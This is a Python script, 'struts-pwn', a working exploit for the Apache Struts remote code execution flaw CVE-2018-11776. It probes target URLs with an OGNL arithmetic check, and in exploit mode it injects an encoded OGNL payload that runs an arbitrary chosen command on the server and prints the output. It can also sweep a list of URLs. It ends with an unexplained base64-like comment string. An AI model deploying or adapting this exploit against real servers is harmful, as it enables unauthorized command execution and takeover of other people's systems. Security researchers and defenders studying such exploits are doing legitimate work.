#!/usr/bin/env python3 # coding=utf-8 # ***************************************************** # struts-pwn: Apache Struts CVE-2018-11776 Exploit # Author: # Mazin Ahmed <Mazin AT MazinAhmed DOT net> # This code uses a payload from: # https://github.com/jas502n/St2-057 # ***************************************************** import argparse import random import requests import sys try: from urllib import parse as urlparse except ImportError: import urlparse # Disable SSL warnings try: import requests.packages.urllib3 requests.packages.urllib3.disable_warnings() except Exception: pass if len(sys.argv) <= 1: print('[*] CVE: 2018-11776 - Apache Struts2 S2-057') print('[*] Struts-PWN - @mazen160') print('\n%s -h for help.' % (sys.argv[0])) exit(0) parser = argparse.ArgumentParser() parser.add_argument("-u", "--url", dest="url", help="Check a single URL.", action='store') parser.add_argument("-l", "--list", dest="usedlist", help="Check a list of URLs.", action='store') parser.add_argument("-c", "--cmd", dest="cmd", help="Command to execute. (Default: 'id')", action='store', default='id') parser.add_argument("--exploit", dest="do_exploit", help="Exploit.", action='store_true') args = parser.parse_args() url = args.url if args.url else None usedlist = args.usedlist if args.usedlist else None cmd = args.cmd if args.cmd else None do_exploit = args.do_exploit if args.do_exploit else None headers = { 'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2018-11776)', # 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36', 'Accept': '*/*' } timeout = 3 def parse_url(url): """ Parses the URL. """ # url: http://example.com/demo/struts2-showcase/index.action url = url.replace('#', '%23') url = url.replace(' ', '%20') if ('://' not in url): url = str("http://") + str(url) scheme = urlparse.urlparse(url).scheme # Site: http://example.com site = scheme + '://' + urlparse.urlparse(url).netloc # FilePath: /demo/struts2-showcase/index.action file_path = urlparse.urlparse(url).path if (file_path == ''): file_path = '/' # Filename: index.action try: filename = url.split('/')[-1] except IndexError: filename = '' # File Dir: /demo/struts2-showcase/ file_dir = file_path.rstrip(filename) if (file_dir == ''): file_dir = '/' return({"site": site, "file_dir": file_dir, "filename": filename}) def build_injection_inputs(url): """ Builds injection inputs for the check. """ parsed_url = parse_url(url) injection_inputs = [] url_directories = parsed_url["file_dir"].split("/") try: url_directories.remove("") except ValueError: pass for i in range(len(url_directories)): injection_entry = "/".join(url_directories[:i]) if not injection_entry.startswith("/"): injection_entry = "/%s" % (injection_entry) if not injection_entry.endswith("/"): injection_entry = "%s/" % (injection_entry) injection_entry += "{{INJECTION_POINT}}/" # It will be renderred later with the payload. injection_entry += parsed_url["filename"] injection_inputs.append(injection_entry) return(injection_inputs) def check(url): random_value = int(''.join(random.choice('0123456789') for i in range(2))) multiplication_value = random_value * random_value injection_points = build_injection_inputs(url) parsed_url = parse_url(url) print("[%] Checking for CVE-2018-11776") print("[*] URL: %s" % (url)) print("[*] Total of Attempts: (%s)" % (len(injection_points))) attempts_counter = 0 for injection_point in injection_points: attempts_counter += 1 print("[%s/%s]" % (attempts_counter, len(injection_points))) testing_url = "%s%s" % (parsed_url["site"], injection_point) testing_url = testing_url.replace("{{INJECTION_POINT}}", "${{%s*%s}}" % (random_value, random_value)) try: resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False) except Exception as e: print("EXCEPTION::::--> " + str(e)) continue if "Location" in resp.headers.keys(): if str(multiplication_value) in resp.headers['Location']: print("[*] Status: Vulnerable!") return(injection_point) print("[*] Status: Not Affected.") return(None) def exploit(url, cmd): parsed_url = parse_url(url) injection_point = check(url) if injection_point is None: print("[%] Target is not vulnerable.") return(0) print("[%] Exploiting...") payload = """%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27{0}%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D""".format(cmd) testing_url = "%s%s" % (parsed_url["site"], injection_point) testing_url = testing_url.replace("{{INJECTION_POINT}}", payload) try: resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False) except Exception as e: print("EXCEPTION::::--> " + str(e)) return(1) print("[%] Response:") print(resp.text) return(0) def main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit): if url: if not do_exploit: check(url) else: exploit(url, cmd) if usedlist: URLs_List = [] try: f_file = open(str(usedlist), "r") URLs_List = f_file.read().replace("\r", "").split("\n") try: URLs_List.remove("") except ValueError: pass f_file.close() except Exception as e: print("Error: There was an error in reading list file.") print("Exception: " + str(e)) exit(1) for url in URLs_List: if not do_exploit: check(url) else: exploit(url, cmd) print("[%] Done.") if __name__ == "__main__": try: main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit) except KeyboardInterrupt: print("\nKeyboardInterrupt Detected.") print("Exiting...") exit(0) #cE0vOWpxNWoveVBRaHBiQnJ2dnlzckxSaUZROHgvbG1WalVLRjdvTWpGMWhUVkNRZ0t5TitNdmx6TjN5cHRrZVgyTXJFcEowYnBCT1BOL1JIUDVxUFNCWE5zRXF3aS9mYkw0SGhxaGlyRTJvNGlWRE9oTFVFcTE0d2ZrbkJ3M1dlRGUrYkJqbFRjeklrd29IYjJkUjJodUo3MjFWVGJHMU0zV1F6NXRLdjRuYUJLdExqYW0vT1A3TmxKcnZGNHdYTEpFdFo0a1AwZ29GQzF1dUhid3JqaFhtYXhWcEZoM3NEaEtRa1JXa3ZsdXdYYjZQYW1DSGtubUx6SEhIcFVHTg==